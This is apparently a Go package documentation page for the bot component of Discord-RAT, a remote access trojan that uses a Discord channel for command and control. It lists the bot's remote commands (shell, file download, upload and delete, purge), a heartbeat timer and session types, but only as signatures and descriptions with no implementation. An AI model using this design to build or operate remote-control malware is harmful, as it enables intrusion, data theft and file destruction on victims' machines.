bot

package
v0.0.0-...-f1bf7e6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 3, 2023 License: GPL-3.0 Imports: 11 Imported by: 0

Documentation

Overview

* This file is part of the Discord-RAT project. * Repository: https://github.com/codeuk/discord-rat * * Written by codeuk (github.com/codeuk) * * Discord-RAT is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Discord-RAT is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Discord-RAT. If not, see <https://www.gnu.org/licenses/>.

* This file is part of the Discord-RAT project. * Repository: https://github.com/codeuk/discord-rat * * Written by codeuk (github.com/codeuk) * * Discord-RAT is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Discord-RAT is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Discord-RAT. If not, see <https://www.gnu.org/licenses/>.

Index

Constants

View Source
const HEARTBEAT_TIME = time.Duration(5) * time.Minute

How often to send a heartbeat message to the channel (Default: 5 minutes).

Variables

View Source
var CommandList = []Command{
	{
		Name:   "purge",
		OnCall: commands.HandlePurge,
	}, {
		Name:   "cd",
		OnCall: commands.HandleDirectoryChange,
	}, {
		Name:   "shell",
		OnCall: commands.HandleShellConnection,
	}, {
		Name:   "download",
		OnCall: commands.HandleFileDownload,
	}, {
		Name:   "upload",
		OnCall: commands.HandleFileUpload,
	}, {
		Name:   "delete",
		OnCall: commands.HandleFileDelete,
	},
}

The list of valid commands to be listened for and handled.

Functions

func Init

func Init(newAgent *agent.Agent)

Init configures and sets up a Discord Session for the passed Agent.

Types

type Command

type Command struct {
	Name   string
	OnCall func(*commands.BotMessage)
}

Command represents the attributes of a Bot command that can be handled appropriately.

type DiscordSession

type DiscordSession struct {
	Agent     *agent.Agent
	Session   *discordgo.Session
	ChannelID *discordgo.Channel
}

DiscordSession represents the attributes used to handle the agent and its respective DiscordGo session and command channel.

func NewDiscordSession

func NewDiscordSession(agent agent.Agent) (*DiscordSession, error)

NewDiscordSession configures and returns a new Discord Bot and Session for the passed client.

func (*DiscordSession) CloseSessionGracefully

func (discordBot *DiscordSession) CloseSessionGracefully()

CloseSessionGracefully exits the agents channel and closes the Discord Session gracefully.

func (*DiscordSession) CommandHandler

func (discordBot *DiscordSession) CommandHandler(dg *discordgo.Session, message *discordgo.MessageCreate)

CommandHandler defines and handles custom commands for the Discord Bot and system.

func (*DiscordSession) SendCommandMenu

func (discordBot *DiscordSession) SendCommandMenu()

SendCommandMenu sends the Menu embed message containing the Bots commands and their descriptions.

func (*DiscordSession) SendHeartBeat

func (discordBot *DiscordSession) SendHeartBeat()

SendHeartBeat sends a heartbeat message to make sure there is no bot timeout.

func (*DiscordSession) SendHelpMenu

func (discordBot *DiscordSession) SendHelpMenu()

SendHelpMenu sends the Help embed message containing useful information about the program.

Directories

Path Synopsis
* This file is part of the Discord-RAT project.
* This file is part of the Discord-RAT project.
* This file is part of the Discord-RAT project.
* This file is part of the Discord-RAT project.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL